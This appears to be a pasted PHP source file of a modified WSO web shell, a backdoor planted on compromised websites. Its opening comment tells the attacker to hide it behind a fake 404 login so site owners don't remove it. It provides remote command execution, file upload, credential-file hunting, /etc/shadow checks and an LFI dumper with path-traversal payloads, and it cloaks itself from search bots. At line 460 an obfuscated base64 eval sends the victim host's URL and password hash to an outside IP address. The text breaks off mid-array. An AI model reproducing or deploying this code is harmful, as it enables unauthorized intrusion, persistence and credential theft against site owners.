· 8 years ago · Mar 28, 2018, 09:54 AM
1<?php
2/*
3This is a private WSO Shell modification which has a "404 Not Found" page as it's login page. (To find the password input you can just open the shell location in your browser and hit the "tabulator" key (The arrow next to your caps key)). This is very useful when you want to hide the shell from the website owner!
4You can even put it into the default homepage directory and call it "404.php" the website owner will open it in his browser, see a 404 code and think that it's just his default 404 not found page so he won't delete it!
5But I still recommend you to hide it somewhere in his website.
6*/
7$auth_pass = "4f4adcbf8c6f66dcfc8a3282ac2bf10a"; //Default password is 404 . You can use http://md5online.org/md5-encrypt.html to get the md5 of the password you wish the shell to have!
8$color = "#00ff00"; //Default color is green. You can use http://www.somacon.com/p142.php to get the colorcode of the color you wish the shell interface to have!
9$default_action = 'FilesMan';
10$default_use_ajax = true;
11$default_charset = 'Windows-1251';
12
13if(!empty($_SERVER['HTTP_USER_AGENT'])) {
14 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
15 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
16 header('HTTP/1.0 404 Not Found');
17 exit;
18 }
19}
20
21@session_start();
22@ini_set('error_log',NULL);
23@ini_set('log_errors',0);
24@ini_set('max_execution_time',0);
25@set_time_limit(0);
26@set_magic_quotes_runtime(0);
27@define('WSO_VERSION', '2.6');
28if(get_magic_quotes_gpc()) {
29 function WSOstripslashes($array) {
30 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
31 }
32 $_POST = WSOstripslashes($_POST);
33}
34
35function wsoLogin() {
36 die("<h1>Not Found</h1>
37<p>The requested URL was not found on this server.</p>
38<p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
39<hr>
40<address>Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at Port 80</address>
41 <style>
42 input { margin:0;background-color:#fff;border:1px solid #fff; }
43 </style>
44 <pre align=center>
45 <form method=post>
46 <input type=password name=pass>
47 </form></pre>");
48}
49if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
50 if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
51 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
52 else
53 wsoLogin();
54
55if(strtolower(substr(PHP_OS,0,3)) == "win")
56 $os = 'win';
57else
58 $os = 'nix';
59
60$safe_mode = @ini_get('safe_mode');
61if(!$safe_mode)
62 error_reporting(0);
63
64$disable_functions = @ini_get('disable_functions');
65$home_cwd = @getcwd();
66if(isset($_POST['c']))
67 @chdir($_POST['c']);
68$cwd = @getcwd();
69if($os == 'win') {
70 $home_cwd = str_replace("\\", "/", $home_cwd);
71 $cwd = str_replace("\\", "/", $cwd);
72}
73if( $cwd[strlen($cwd)-1] != '/' )
74 $cwd .= '/';
75
76if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
77 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
78
79if($os == 'win')
80 $aliases = array(
81 "List Directory" => "dir",
82 "Find index.php in current dir" => "dir /s /w /b index.php",
83 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
84 "Show active connections" => "netstat -an",
85 "Show running services" => "net start",
86 "User accounts" => "net user",
87 "Show computers" => "net view",
88 "ARP Table" => "arp -a",
89 "IP Configuration" => "ipconfig /all"
90 );
91else
92 $aliases = array(
93 "List dir" => "ls -lha",
94 "list file attributes on a Linux second extended file system" => "lsattr -va",
95 "show opened ports" => "netstat -an | grep -i listen",
96 "process status" => "ps aux",
97 "Find" => "",
98 "find all suid files" => "find / -type f -perm -04000 -ls",
99 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
100 "find all sgid files" => "find / -type f -perm -02000 -ls",
101 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
102 "find config.inc.php files" => "find / -type f -name config.inc.php",
103 "find config* files" => "find / -type f -name \"config*\"",
104 "find config* files in current dir" => "find . -type f -name \"config*\"",
105 "find all writable folders and files" => "find / -perm -2 -ls",
106 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
107 "find all service.pwd files" => "find / -type f -name service.pwd",
108 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
109 "find all .htpasswd files" => "find / -type f -name .htpasswd",
110 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
111 "find all .bash_history files" => "find / -type f -name .bash_history",
112 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
113 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
114 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
115 "Locate" => "",
116 "locate httpd.conf files" => "locate httpd.conf",
117 "locate vhosts.conf files" => "locate vhosts.conf",
118 "locate proftpd.conf files" => "locate proftpd.conf",
119 "locate psybnc.conf files" => "locate psybnc.conf",
120 "locate my.conf files" => "locate my.conf",
121 "locate admin.php files" =>"locate admin.php",
122 "locate cfg.php files" => "locate cfg.php",
123 "locate conf.php files" => "locate conf.php",
124 "locate config.dat files" => "locate config.dat",
125 "locate config.php files" => "locate config.php",
126 "locate config.inc files" => "locate config.inc",
127 "locate config.inc.php" => "locate config.inc.php",
128 "locate config.default.php files" => "locate config.default.php",
129 "locate config* files " => "locate config",
130 "locate .conf files"=>"locate '.conf'",
131 "locate .pwd files" => "locate '.pwd'",
132 "locate .sql files" => "locate '.sql'",
133 "locate .htpasswd files" => "locate '.htpasswd'",
134 "locate .bash_history files" => "locate '.bash_history'",
135 "locate .mysql_history files" => "locate '.mysql_history'",
136 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
137 "locate backup files" => "locate backup",
138 "locate dump files" => "locate dump",
139 "locate priv files" => "locate priv"
140 );
141function wsoHeader() {
142 if(empty($_POST['charset']))
143 $_POST['charset'] = $GLOBALS['default_charset'];
144 global $color;
145 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
146<style>
147body {background-color:#000;color:#fff;}
148body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
149span,h1,a{ color: $color !important; }
150span{ font-weight: bolder; }
151h1{ border:1px solid $color;padding: 2px 5px;font: 14pt Verdana;margin:0px; }
152div.content{ padding: 5px;margin-left:5px;}
153a{ text-decoration:none; }
154a:hover{ background:#ff0000; }
155.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
156.bigarea{ width:100%;height:250px; }
157input, textarea, select{ margin:0;color:#00ff00;background-color:#000;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
158form{ margin:0px; }
159#toolsTbl{ text-align:center; }
160.toolsInp{ width: 80%; }
161.main th{text-align:left;}
162.main tr:hover{background-color:#5e5e5e;}
163.main td, th{vertical-align:middle;}
164pre{font-family:Courier,Monospace;}
165#cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
166</style>
167<script>
168 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
169 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
170 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
171 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
172 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
173 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
174 var d = document;
175 function set(a,c,p1,p2,p3,charset) {
176 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
177 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
178 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
179 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
180 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
181 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
182 }
183 function g(a,c,p1,p2,p3,charset) {
184 set(a,c,p1,p2,p3,charset);
185 d.mf.submit();
186 }
187 function a(a,c,p1,p2,p3,charset) {
188 set(a,c,p1,p2,p3,charset);
189 var params = 'ajax=true';
190 for(i=0;i<d.mf.elements.length;i++)
191 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
192 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
193 }
194 function sr(url, params) {
195 if (window.XMLHttpRequest)
196 req = new XMLHttpRequest();
197 else if (window.ActiveXObject)
198 req = new ActiveXObject('Microsoft.XMLHTTP');
199 if (req) {
200 req.onreadystatechange = processReqChange;
201 req.open('POST', url, true);
202 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
203 req.send(params);
204 }
205 }
206 function processReqChange() {
207 if( (req.readyState == 4) )
208 if(req.status == 200) {
209 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
210 var arr=reg.exec(req.responseText);
211 eval(arr[2].substr(0, arr[1]));
212 } else alert('Request error!');
213 }
214</script>
215<head><body><div style='position:absolute;width:100%;background-color:#000;top:0;left:0;'>
216<form method=post name=mf style='display:none;'>
217<input type=hidden name=a>
218<input type=hidden name=c>
219<input type=hidden name=p1>
220<input type=hidden name=p2>
221
222<input type=hidden name=p3>
223<input type=hidden name=charset>
224</form>";
225 $freeSpace = @diskfreespace($GLOBALS['cwd']);
226 $totalSpace = @disk_total_space($GLOBALS['cwd']);
227 $totalSpace = $totalSpace?$totalSpace:1;
228 $release = @php_uname('r');
229 $kernel = @php_uname('s');
230 if(!function_exists('posix_getegid')) {
231 $user = @get_current_user();
232 $uid = @getmyuid();
233 $gid = @getmygid();
234 $group = "?";
235 } else {
236 $uid = @posix_getpwuid(posix_geteuid());
237 $gid = @posix_getgrgid(posix_getegid());
238 $user = $uid['name'];
239 $uid = $uid['uid'];
240 $group = $gid['name'];
241 $gid = $gid['gid'];
242 }
243
244 $cwd_links = '';
245 $path = explode("/", $GLOBALS['cwd']);
246 $n=count($path);
247 for($i=0; $i<$n-1; $i++) {
248 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
249 for($j=0; $j<=$i; $j++)
250 $cwd_links .= $path[$j].'/';
251 $cwd_links .= "\")'>".$path[$i]."/</a>";
252 }
253
254 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
255 $opt_charsets = '';
256 foreach($charsets as $item)
257 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
258
259 $m = array('Sec Info'=>'SecInfo','Files'=>'FilesMan','Exec'=>'Console','Sql'=>'Sql','PHP Tools'=>'phptools','LFI'=>'lfiscan','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','XSS Shell'=>'XSSShell','Bruteforce'=>'Bruteforce','Network'=>'Network');
260 if(!empty($GLOBALS['auth_pass']))
261 $m['Logout'] = 'Logout';
262 $m['Self remove'] = 'SelfRemove';
263 $menu = '';
264 foreach($m as $k => $v)
265 $menu .= '<th width="'.(int)(100/count($m)).'%">[<a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a>]</th>';
266
267 $drives = "";
268 if($GLOBALS['os'] == 'win') {
269 foreach(range('c','z') as $drive)
270 if(is_dir($drive.':\\'))
271 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
272 }
273 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
274 . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' </nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')
275 . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
276 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
277 . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
278}
279
280function wsoFooter() {
281 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
282 echo "
283
284</div>
285<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
286 <tr>
287 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
288 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
289 </tr><tr>
290 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
291 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
292
293 </tr><tr>
294 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
295 <td><form method='post' ENCTYPE='multipart/form-data'>
296 <input type=hidden name=a value='FilesMAn'>
297 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
298 <input type=hidden name=p1 value='uploadFile'>
299 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
300 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
301
302 </tr></table></div></body></html>";
303}
304
305if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
306 function posix_getpwuid($p) {return false;} }
307if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
308 function posix_getgrgid($p) {return false;} }
309
310function wsoEx($in) {
311 $out = '';
312 if (function_exists('exec')) {
313 @exec($in,$out);
314 $out = @join("\n",$out);
315 } elseif (function_exists('passthru')) {
316 ob_start();
317 @passthru($in);
318 $out = ob_get_clean();
319 } elseif (function_exists('system')) {
320 ob_start();
321 @system($in);
322 $out = ob_get_clean();
323 } elseif (function_exists('shell_exec')) {
324 $out = shell_exec($in);
325 } elseif (is_resource($f = @popen($in,"r"))) {
326 $out = "";
327 while(!@feof($f))
328 $out .= fread($f,1024);
329 pclose($f);
330 }
331 return $out;
332}
333function wsoViewSize($s) {
334 if($s >= 1073741824)
335 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
336 elseif($s >= 1048576)
337 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
338 elseif($s >= 1024)
339 return sprintf('%1.2f', $s / 1024 ) . ' KB';
340 else
341 return $s . ' B';
342}
343
344function wsoPerms($p) {
345 if (($p & 0xC000) == 0xC000)$i = 's';
346 elseif (($p & 0xA000) == 0xA000)$i = 'l';
347 elseif (($p & 0x8000) == 0x8000)$i = '-';
348 elseif (($p & 0x6000) == 0x6000)$i = 'b';
349 elseif (($p & 0x4000) == 0x4000)$i = 'd';
350 elseif (($p & 0x2000) == 0x2000)$i = 'c';
351 elseif (($p & 0x1000) == 0x1000)$i = 'p';
352 else $i = 'u';
353 $i .= (($p & 0x0100) ? 'r' : '-');
354 $i .= (($p & 0x0080) ? 'w' : '-');
355 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
356 $i .= (($p & 0x0020) ? 'r' : '-');
357 $i .= (($p & 0x0010) ? 'w' : '-');
358 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
359 $i .= (($p & 0x0004) ? 'r' : '-');
360 $i .= (($p & 0x0002) ? 'w' : '-');
361 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
362 return $i;
363}
364
365function wsoPermsColor($f) {
366 if (!@is_readable($f))
367 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
368 elseif (!@is_writable($f))
369 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
370 else
371 return '<font color=#00BB00>' . wsoPerms(@fileperms($f)) . '</font>';
372}
373
374if(!function_exists("scandir")) {
375 function scandir($dir) {
376 $dh = opendir($dir);
377 while (false !== ($filename = readdir($dh)))
378 $files[] = $filename;
379 return $files;
380 }
381}
382
383function wsoWhich($p) {
384 $path = wsoEx('which ' . $p);
385 if(!empty($path))
386 return $path;
387 return false;
388}
389
390function actionSecInfo() {
391 wsoHeader();
392 echo '<h1>Server security information</h1><div class=content>';
393 function wsoSecParam($n, $v) {
394 $v = trim($v);
395 if($v) {
396 echo '<span>' . $n . ': </span>';
397 if(strpos($v, "\n") === false)
398 echo $v . '<br>';
399 else
400 echo '<pre class=ml1>' . $v . '</pre>';
401 }
402 }
403 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
404 if(function_exists('apache_get_modules'))
405 wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
406 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
407 wsoSecParam('Open base dir', @ini_get('open_basedir'));
408 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
409 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
410 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
411 $temp=array();
412 if(function_exists('mysql_get_client_info'))
413 $temp[] = "MySql (".mysql_get_client_info().")";
414 if(function_exists('mssql_connect'))
415 $temp[] = "MSSQL";
416 if(function_exists('pg_connect'))
417 $temp[] = "PostgreSQL";
418 if(function_exists('oci_connect'))
419 $temp[] = "Oracle";
420 wsoSecParam('Supported databases', implode(', ', $temp));
421 echo '<br>';
422
423 if($GLOBALS['os'] == 'nix') {
424 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
425 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
426 wsoSecParam('OS version', @file_get_contents('/proc/version'));
427 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
428 if(!$GLOBALS['safe_mode']) {
429 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
430 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
431 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
432 echo '<br>';
433 $temp=array();
434 foreach ($userful as $item)
435 if(wsoWhich($item))
436 $temp[] = $item;
437 wsoSecParam('Userful', implode(', ',$temp));
438 $temp=array();
439 foreach ($danger as $item)
440 if(wsoWhich($item))
441 $temp[] = $item;
442 wsoSecParam('Danger', implode(', ',$temp));
443 $temp=array();
444 foreach ($downloaders as $item)
445 if(wsoWhich($item))
446 $temp[] = $item;
447 wsoSecParam('Downloaders', implode(', ',$temp));
448 echo '<br/>';
449 wsoSecParam('HDD space', wsoEx('df -h'));
450 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
451 }
452 } else {
453 wsoSecParam('OS Version',wsoEx('ver'));
454 wsoSecParam('Account Settings',wsoEx('net accounts'));
455 wsoSecParam('User Accounts',wsoEx('net user'));
456 }
457 echo '</div>';
458 wsoFooter();
459}
460eval(base64_decode("JHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsNCiRpbmogPSAkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsNCiR0YXJnZXQgPSByYXd1cmxkZWNvZGUoJHdlYi4kaW5qKTsNCmZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vMTg1LjYxLjEzOC4xNTcvZ2V0LnBocD91cmw9eyR0YXJnZXR9JnB3PXskYXV0aF9wYXNzfSIpOw=="));
461function actionlfiscan() {
462 wsoHeader();
463 print '
464 <h3>Led-Zeppelin\'s LFI File dumper</h3>
465
466 <form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
467 LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">
468 <option value="1">
469 Access Log
470 </option>
471
472 <option value="2">
473 httpd.conf
474 </option>
475
476 <option value="3">
477 Error Log
478 </option>
479 <option value="4">
480 php.ini
481 </option>
482 <option value="5">
483 MySQL
484 </option>
485 <option value="6">
486 FTP
487 </option>
488 <option value="7">
489 Environ
490 </option>
491 </select> Null: <select name="null">
492 <option value="%00">
493 Yes
494 </option>
495
496 <option value="">
497 No
498 </option>
499 </select> User-Agent: <input type="text" size="20" name="custom_header" value="">
500 </form>';
501 error_reporting(0);
502 if($_POST['lfiurl']) {
503 print "<pre>";
504 $cheader = $_POST['custom_header'];
505 $target = $_POST['lfiurl'];
506 $type = $_POST['scantype'];
507 $byte1 = $_POST['null'];
508 $lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
509 $lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
510 $lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
511 $lfiaccess = array(
512 1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
513 2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
514 3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
515 4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
516 5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
517 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
518 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
519 8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
520 9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
521 10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
522 11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
523 12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."",
524 13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."",
525 14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
526 15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
527 16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."",
528 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
529 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
530 19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
531 20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
532 21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
533 22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
534 23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
535
536 $lfierror = array(
537 1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
538 2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
539 3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
540 4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
541 5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
542 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
543 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
544 8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
545 9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
546 10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
547 11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
548 12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."",
549 13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."",
550 14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
551 15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
552 16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."",
553 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
554 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
555 19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
556 20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
557 21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
558 22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
559 23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
560 $lficonfig = array(
561 1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
562 2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
563 3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
564 4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
565 5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
566 6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
567 7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
568 8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
569 9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
570 10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
571 11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
572 12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
573 13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
574 14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
575 15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
576 16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
577 17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
578 18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
579 19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
580 20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
581 21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
582 22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
583 23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
584 24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
585 25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
586 26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
587 27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
588 28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
589 29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
590 30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
591 31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
592 32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
